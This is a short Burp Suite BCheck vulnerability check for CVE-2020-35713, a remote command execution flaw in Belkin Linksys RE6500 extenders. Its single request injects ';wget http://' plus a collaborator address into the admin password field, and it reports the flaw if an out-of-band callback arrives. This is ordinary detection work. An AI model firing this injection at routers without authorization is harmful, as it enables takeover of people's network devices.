CVE-2020-35713 - Belkin Linksys RE6500 10012001 - RCE.bcheck

metadata:
    language: v2-beta
    name: "CVE-2020-35713 - Belkin Linksys RE6500 <1.0.012.001 - RCE"
    description: "Checks for CVE-2020-35713"
    author: "Dolph Flynn"
    tags: "CVE-2020-35713", "RCE", "belkin", "linksys", "OAST"


given host then
    send request called check:
        `POST /goform/setSysAdm HTTP/1.1
         Host: {base.request.url.host}
         User-Agent: {user_agent}
         Connection: close
         Accept-Encoding: gzip, deflate, br
         Accept: */*
         Accept-Language: en-US;q=0.9,en;q=0.8
         Origin: {base.request.url}
         Referer: {base.request.url}/login.shtml

         admuser=admin&admpass=;wget http://{generate_collaborator_address()};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1`

    if http interactions then

        report issue:
            severity: high
            confidence: tentative
            detail: "Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution."
    end if